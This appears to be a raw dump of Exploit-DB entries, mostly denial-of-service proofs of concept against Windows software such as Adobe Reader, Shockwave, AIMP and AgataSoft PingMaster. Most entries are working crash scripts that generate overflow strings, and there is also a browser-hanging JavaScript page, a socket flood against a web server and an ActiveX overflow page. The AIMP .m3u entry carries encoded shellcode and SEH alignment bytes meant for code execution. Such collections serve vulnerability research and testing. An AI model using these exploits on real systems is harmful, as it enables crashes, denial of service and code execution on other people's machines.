deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3430
Description: Adobe Reader Plugin 'AcroPDF.dll' 8.0.0.0 - Resource Consumption
Type: dos
Platform: windows
Date: 2007-03-08
Author: shinnai

Exploit:
<!--------------------------------------------------------------------------------
Adobe PDF Reader plug-in AcroPDF.dll ver. 8.0.0.0 Resource Consumption
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org

Well, Adobe guys do a good job after the publication of a variety of
bug in AcroPDF.dll, one for all

From Secunia:
"Input passed to a hosted PDF file is not properly sanitised by the
  browser plug-in before being returned to users. This can be exploited
  to execute arbitrary script code in a user's browser session in context
  of an affected site."

So now the dll is able to understand when you're trying to insert something
wrong prompting you with "One or more of the query terms are too long."
and that's a good thing but... I thought "can this dll sanitise chars like 
%n"
Well the answer is: no.

Unfortunately (sure depends by the point of view) Internet Explorer is
not useful for a test 'cause a limited number of chars (only 2083) is 
admitted
in the address bar, so we need to use browser like Firefox and stuff like
that.
When you browse to a hosted pdf file like this
http://somesite/poc.pdf#search=%n%n%n... x 10000 (or much more if you like)
the browse will stop to answer until the process AcroRd32.exe crashes,
the CPU usage is about 50-60% and the paging file usage grow until
it's full and you have the message "Insufficient virtual memory..."
Here's a proof of concept, for online demonstration see:
http://www.shinnai.altervista.org/adobe.html

txt version here: http://www.shinnai.altervista.org/txt/adobe.txt
-------------------------------------------------------------------------------->

<script language="javascript">
var browserName=navigator.appName;

if (browserName=="Netscape")
{var f = ""
var c = ""
  for (var i = 0; i <= 10000; i++) {
   var f = f + "%n";
  }
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + 
(f)
}
else if (browserName=='Opera')
{var f = ""
var c = ""
  for (var i = 0; i <= 10000; i++) {
   var f = f + "%n";
  }
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" + 
(f)
}
else if (browserName=='Microsoft Internet Explorer')
{
alert("This exploit doesn't work with IE. You need to use Firefox and stuff 
like that.");
document.location="http://www.shinnai.altervista.org";
}
else
{
alert("Mmm... I don't know what are you browsing with here, so no martini no 
party.");
}
</script>

# milw0rm.com [2007-03-08]
Exploit-DB #17405
Description: Adobe Reader/Acrobat 10.0.1 - Denial of Service
Type: dos
Platform: windows
Date: 2011-06-16
Author: Soroush Dalili

Exploit:
Title: [Adobe Reader/Acrobat Memory Corruption Denial of Service]
Report to Vendor: 24 Feb 2011
Application Name: [Adobe Reader/Acrobat]
Version: [10.0.1, other versions can be vulnerable before applying the 14 June 2011 Patch]
Reference(s): [
- http://secunia.com/advisories/43269/
]
Finder(s): [
- Soroush Dalili (Irsdl [at] yahoo [dot] com) - www.SecProject.com
]
PoC: Tested on Windows 7 SP1 and Windows XP SP3

PoC Details:
The following JS was the problem point inside the PDF file (Open the PoC file by a text editor):
/*****************************************************************************/
		var temp;
		for(var i=0;i<=8;i++)
		{
			temp+=temp+temp+"A";
		}
		var result = temp;
		try{
			viewState= result;
		}catch(e){}
		dirty; // Important!
/*****************************************************************************/

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17405.pdf
Exploit-DB #4613
Description: Adobe Shockwave - 'ShockwaveVersion()' Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-11-08
Author: Elazar

Exploit:
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";
     while (s.length < 768 * 768) s=s+s;
  
     var obj = new ActiveXObject("SWCtl.SWCtl"); //{233C1507-6A77-46A4-9443-F871F945D258}     

     obj.ShockwaveVersion(s);
    }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>

# milw0rm.com [2007-11-08]
Exploit-DB #15076
Description: Adobe Shockwave Director tSAC - Chunk Memory Corruption
Type: dos
Platform: windows
Date: 2010-09-22
Author: Abysssec

Exploit:
'''
 
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title               : Adobe Shockwave Director tSAC Chunk memory corruption
  Version             : dirapi.dll 11.5.7 
  Analysis            : http://www.abysssec.com
  Vendor              : http://www.adobe.com
  Impact              : Med/High
  Contact             : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             : @abysssec

http://www.exploit-db.com/moaub-22-adobe-shockwave-director-tsac-chunk-memory-corruption/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15076.zip (moaub-22-exploit.zip)

'''


import sys

temp =  """<!-- saved from url=(0013)about:internet -->

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
 ID=wineglass>
	<param name=src value="poc.dir">
	<param name=PlayerVersion value=11>


</object>
"""
htmlTest = open('poc.html', 'wb')
htmlTest.write(temp)
htmlTest.close()

sampleFile = open('sample.dir','rb')
pocFile = open("poc.DIR",'wb')			
pocFile.write(sampleFile.read(-1))	
sampleFile.close()
pocFile.seek(13168)
pocFile.write("\xff\xff\xff\xff\x11\x11")
pocFile.close()
Exploit-DB #9682
Description: Adobe Shockwave Player 11.5.1.601 - ActiveX Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-15
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  Adobe ShockWave Player (11.5.1.601)
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:	      IE 6.0.2900.2180
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Over 450 million Internet-enabled desktops have installed Adobe Shockwave Player.
These people now have access to some of the best the Web has to offer - including dazzling 3D games and entertainment,
interactive product demonstrations, and online learning applications. Shockwave Player displays Web content that has been created by Adobe Director.

#####################################################################################

============================
2) Technical details 
============================

Name:	SwDir.dll
Ver.:	11.5.1.601
CLSID:	{233C1507-6A77-46A4-9443-F871F945D258}


(d40.b20): Stack overflow - code c00000fd 
eax=00305004 ebx=00000003 ecx=00032f80 edx=00400000 esi=09ae0024 edi=00400002
eip=69214965 esp=0012df78 ebp=0012df8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202



#####################################################################################

# milw0rm.com [2009-09-15]
Exploit-DB #34151
Description: Adobe SVG Viewer 3.0 - Circle Transform Remote Code Execution
Type: dos
Platform: windows
Date: 2010-06-16
Author: h07

Exploit:
source: https://www.securityfocus.com/bid/40885/info

Adobe SVG Viewer is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed attacks may cause a denial-of-service condition.

Adobe SVG Viewer 3.03 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34151.rar
Exploit-DB #39158
Description: Advanced Encryption Package - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2016-01-03
Author: Vishnu

Exploit:
Dear List,

Greetings from vishnu (@dH4wk)

1. Vulnerable Product

   - Advanced Encryption Package
   - Company http://www.aeppro.com/

2. Vulnerability Information

 (A) Buffer OverFlow
     Impact: Attacker gains administrative access
     Remotely Exploitable: No
     Locally Exploitable: Yes


3. Vulnerability Description
     A 1006 byte causes the overflow. It is due to the inefficient/improper
handling of exception. This is an SEH based stack overflow and is
exploitable..

4. Reproduction:
     It can be reproduced by pasting 1006 "A"s or any characters in the
field where the key file is asked during encryption of "*TEXT TO ENCRYPT *"
tab..



*Windbg Output*
==============================================================
(a34.a38): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Module load completed but symbols could not be loaded for
image00000000`00400000
image00000000_00400000+0x19c0:
004019c0 f00fc108        lock xadd dword ptr [eax],ecx
ds:002b:4141413d=????????

(a34.a38): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
41414141 ??
==============================================================

Regards,
Vishnu Raju.
Exploit-DB #46284
Description: Advanced File Manager 3.4.1 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-30
Author: Rafael Pedrero

Exploit:
# Exploit Title: Advanced File Manager v3.4.1 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.advexsoft.com
# Software Link : http://www.advexsoft.com
# Tested Version: 3.4.1
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run af_mgr.exe
# 2.- copy content af_mgr_Crash.txt or 300 "A" to clipboard (result from this python script)
# 3.- Go to Help - Enter registration code and paste the result in all fields: "Person", "Organization", "E-mail" and "Enter your registration key below, please:"
# 4.- Click in Register button and you will see a crash.

#!/usr/bin/env python

crash = "\x41" * 300
f = open ("af_mgr_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #46291
Description: Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-01-31
Author: Luis Martínez

Exploit:
# Exploit Title: Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-30
# Vendor Homepage: https://www.ks-soft.net
# Software Link : https://www.ks-soft.net/download/hm1190.exe
# Tested Version: 11.90 Beta
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python Advanced_Host_Monitor_11.90_Beta.py
# 2.- Open Advanced_Host_Monitor_11.90_Beta.txt and copy content to clipboard
# 3.- Open HostMonitor
# 4.- Help -> License...
# 5.- Register Now
# 6.- Name (Organization): -> l4m5
# 7.- Paste ClipBoard on "Registration number:"
# 8.- OK
# 9.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 1050
f = open ("Advanced_Host_Monitor_11.90_Beta.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45137
Description: AgataSoft Auto PingMaster 1.5 - 'Host name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-08-02
Author: Luis Martínez

Exploit:
# Exploit Title: AgataSoft Auto PingMaster 1.5 - 'Host name' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-08-02
# Vendor Homepage: http://agatasoft.com/
# Software Link : http://agatasoft.com/Ping_Master.exe
# Tested Version: 1.5
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python AgataSoft_Auto_PingMaster_1.5.py
# 2.- Open AgataSoft_Auto_PingMaster_1.5.txt and copy content to clipboard
# 3.- Open Ping_Master.exe
# 4.- Trace Route
# 5.- Paste ClipBoard on "Host name:"
# 6.- Get IP from host name
# 7.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 742
f = open ("AgataSoft_Auto_PingMaster_1.5.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #49567
Description: AgataSoft PingMaster Pro 2.1 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-02-16
Author: Ismael Nava

Exploit:
# Exploit Title: AgataSoft PingMaster Pro 2.1 - Denial of Service (PoC)
# Date: 2021-02-15
# Exploit Author: Ismael Nava
# Vendor Homepage: http://agatasoft.com/
# Software Link: http://agatasoft.com/Ping_Master_Pro.exe
# Version: 2.1
# Tested on: Windows 10 Home x64

#STEPS
# Open the program AgataSoft PingMaster Pro
# In Tools select the option Trace Route
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Gou.txt"
# Paste the content in the field Host name and click in Get IP from host name
# End :)


buffer = 'S' * 10000

try: 
    file = open("Gou.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
Exploit-DB #28266
Description: AGEphone 1.28/1.38 - SIP Packet Handling Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-07-24
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/19148/info

AGEphone is prone to a remote buffer-overflow vulnerability.

Specifically, this issue presents itself when the application handles a malicious SIP (Session Initiation Protocol) packet.

AGEphone versions 1.24 and 1.38.1 are reported vulnerable; other versions may be affected as well.

SIP/AAAAAAAA[approx-68-bytes]AAAAAA 1 A
From: test
To: test

Or:

SIP/A 1 AAAAAAAA[approx-48-bytes]AAAAAA
From: test
To: test
Exploit-DB #28232
Description: Agnitum Outpost Firewall 3.5.631 - 'FiltNT.SYS' Local Denial of Service
Type: dos
Platform: windows
Date: 2006-07-17
Author: Bipin Gautam

Exploit:
source: https://www.securityfocus.com/bid/19026/info

Outpost Firewall is prone to a local denial-of-service vulnerability.

An attacker can exploit this issue to crash the application, effectively denying service.

Outpost Firewall Pro version 3.5.631 is affected by this issue; other versions may also be vulnerable.

c:\> mshta.exe longgggggggg string
Exploit-DB #11260
Description: AIC Audio Player 1.4.1.587 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-26
Author: b0telh0

Exploit:
#!/usr/bin/python
#
# Title: AIC Audio Player 1.4.1.587 Local Crash PoC
# Date: 01-26-2010
# Author: b0telh0
# Link: http://www.aic-media.com/Download/Setup_AICAudioPlayer.exe
# Tested on: Windows XP SP3

# I couldn't even debug it. There's some anti-debugging protection...
# Tried !hidedebug from immunity debugger too...
# So, i'm not sure if we have more than just a crash!
# If someone have any advice, it would be cool learning about
anti-debugging techniques.


crash = "\x41" * 100

try:
file = open('About.txt','w');
file.write(crash);
file.close();
print "[+] Created About.txt file.\n"
print "[+] Copy it to AudioPlayer folder...\n"
print "[+] Run AICAudioPlayer and hit About!"
except:
print "[-] Error cant write file to system."
Exploit-DB #3034
Description: AIDeX Mini-WebServer 1.1 - Remote Crash (Denial of Service)
Type: dos
Platform: windows
Date: 2006-12-28
Author: shinnai

Exploit:
import socket

print "---------------------------------------------------------------------"
print "# AID'eX Mini-Webserver Verion 1.1 early Release 3 Denial of Service"
print "# url: http://www.aidex.de/software/webserver/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "# soundtrack: "Suzanne" (Leonard Cohen)
print "---------------------------------------------------------------------"

host = "127.0.0.1"
port = 80

for i in range (0,100):
   connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   connection.connect((host, port))
   connection.send("GET / HTTP/1.0 \n\n")

# milw0rm.com [2006-12-28]
Exploit-DB #51196
Description: AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS)
Type: dos
Platform: windows
Date: 2023-04-01
Author: nu11secur1ty

Exploit:
## Title: AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS)
## Author: nu11secur1ty
## Date: 01.05.2023
## Vendor: https://aimone-video-converter.software.informer.com/,
http://www.aimonesoft.com/
## Software: https://aimone-video-converter.software.informer.com/download/?ca85d0
## Reference:

## Description:
The AimOne Video Converter V2.04 Build 103 suffers from buffer
overflow and local Denial of Service.
The registration form is not working properly and crashes the video converter.
When the attacker decides to register the product. This can allow him
to easily crack the software and do more bad things it depending on
the case.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Exploit:

```Python
#!/usr/bin/python
# nu11secur1ty

print("WELCOME to the AIMONE Video Converter 2.04 Build 103 - Buffer
Overflow exploit builder...\n")
input("Press any key to build the exploit...\n")
buffer = "\x41" * 7000

try:
	f=open("PoC.txt","w")
	print("[+] Creating %s bytes exploit payload.." %len(buffer))
	f.write(buffer)
	f.close()
	print("[+] The PoC file was created!")
except:
	print("File cannot be created")
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/AimOne/AimOne-Video-Converter-V2.04-Build-103)

## Proof and Exploit:
[href](https://streamable.com/v1hvbf)

## Time spent
`00:35:00`

## Writing an exploit
`00:15:00`


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #33640
Description: AIMP 2.8.3 - '.m3u' Remote Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2010-02-12
Author: Molotov

Exploit:
source: https://www.securityfocus.com/bid/38215/info

AIMP is prone to a remote stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

AIMP 2.51 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
#
# AIMP2 (aimp2c.exe) m3u malformed open file stack overflow exploit
# Coded by :  Molotov
#
# Greats To : Corelanc0d3r & exploit-db
#
# thanks to : Simo36 & all friends
#
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARA"
"LAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZA"
"BABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB"
"KLK8U9M0M0KPS0U99UNQ8RS44KPR004K22LLDKR2MD4KCBMX"
"LOGG0JO6NQKOP1WPVLOLQQCLM2NLMPGQ8OLMM197K2ZP22B7"
"TK0RLPTK12OLM1Z04KOPBX55Y0D4OZKQXP0P4KOXMHTKR8MP"
"KQJ3ISOL19TKNTTKM18VNQKONQ90FLGQ8OLMKQY7NXK0T5L4"
"M33MKHOKSMND45JBR84K0XMTKQHSBFTKLL0KTK28MLM18S4K"
"KT4KKQXPSYOTNDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM"
"2JKQTMSU89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU"
"7MEMKOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
"QQ2LRCM0LJA"
)
header = "[playlist]\nNumberOfEntries=3\n\n"
header += ("File1=");
crash = 'A' * 2222
crash+= shellcode
crash+= 'B' * (4014-len(shellcode)-2222)
crash+= '\x41\x6d'
crash+= '\x0e\x45'
align = '\x58\x6d'
align+= '\x58\x6d'
align+= '\x58\x6d'
align+= '\x58\x6d'
align+= '\x05\x01\x11\x6d'
align+= '\x2d\x0F\x11\x6d'
align+= '\x50\x6d\xC3'
padd  = 'D' * 3000
 
padd= 'D'*3000#n7Cn
buffer = header + crash +align+padd +'\n'
file=open('ss.m3u','w')
file.write(buffer)
file.close()
print "[+] ss.m3u file created successfully"
Exploit-DB #9561
Description: AIMP2 Audio Converter 2.53b330 - '.pls' / '.m3u' Unicode Crash (PoC)
Type: dos
Platform: windows
Date: 2009-09-01
Author: mr_me

Exploit:
#!/usr/bin/python
#
# ######################################################################
#
# AIMP2 Audio Converter <= 2.53 (build 330) (.pls/.m3u) Unicode local crash PoC
# Found & exploited by: mr_me
# Download: ftp://www.catode.ru/AIMP/aimp_2.51.330.zip
# Tested on: Wind0ws XP SP3
# 
# ######################################################################
#
# Unicode overflow, maybe someone with better skills can exploit this 
# you need to overwrite SEH handler with a CALL EAX 0x00XX00XX instruction.
# Here is the crash breakdown:
# 
# EAX 001B0020 UNICODE "AAAAAAAAAAAAAAAAAAAA~
# ECX 00000273
# EDX 00000C4C
# EBX 00000000
# ESP 0012DCA8
# EBP 0012DD64
# ESI 001B6610 UNICODE "AAAAAAAAAAAAAAAAAAAA~
# EDI 00130000 ASCII "Actx "
# EIP 004530C6 AIMP2.004530C6
#
# And then when we pass the exemption handler to overwrite EIP...
#
# EIP 00410041
#

header = ("[playlist]\nNumberOfEntries=3\n\n");
header += ("File1=");
crash = ("\x41" * 5000);

buffer = header + crash
file=open('mr_mes_funky.pls','w')
file.write(buffer)
file.close()
print "[+] mr_mes_funky.pls file created successfully"

# milw0rm.com [2009-09-01]
Exploit-DB #9507
Description: AiO (All into One) Flash Mixer 3 - '.afp' Crash (PoC)
Type: dos
Platform: windows
Date: 2009-08-24
Author: the_Edit0r

Exploit:
#!/usr/bin/perl
#[+] Bug : AiO ( All into One) Flash Mixer 3 (.afp File) Crash Vulnerability Exploit
#[+] program  Download : http://www.goztun.com/download/AiOFlashMixerSetup.exe
#[+] Author : the_Edit0r
# Contact me : the_3dit0r[at]Yahoo[dot]coM
#[+] Greetz to all my friends
#[+] Tested on: Windows XP Pro SP3
#[+] web site: Expl0iters.ir  * Anti-security.ir
#[+] Big thnx: H4ckcity Member


my $crash="\x41" x 150500;
open(myfile,'>>Edit0r.afp'); # jpg , Bmp , Png , Gif
print myfile $crash;
print "File Created successfully\n";

# After Clicking On file Perl  Run The Program  ,Opened Project  ( Add Pictures ) Boom !!!!!!! the Program Crashed

# milw0rm.com [2009-08-24]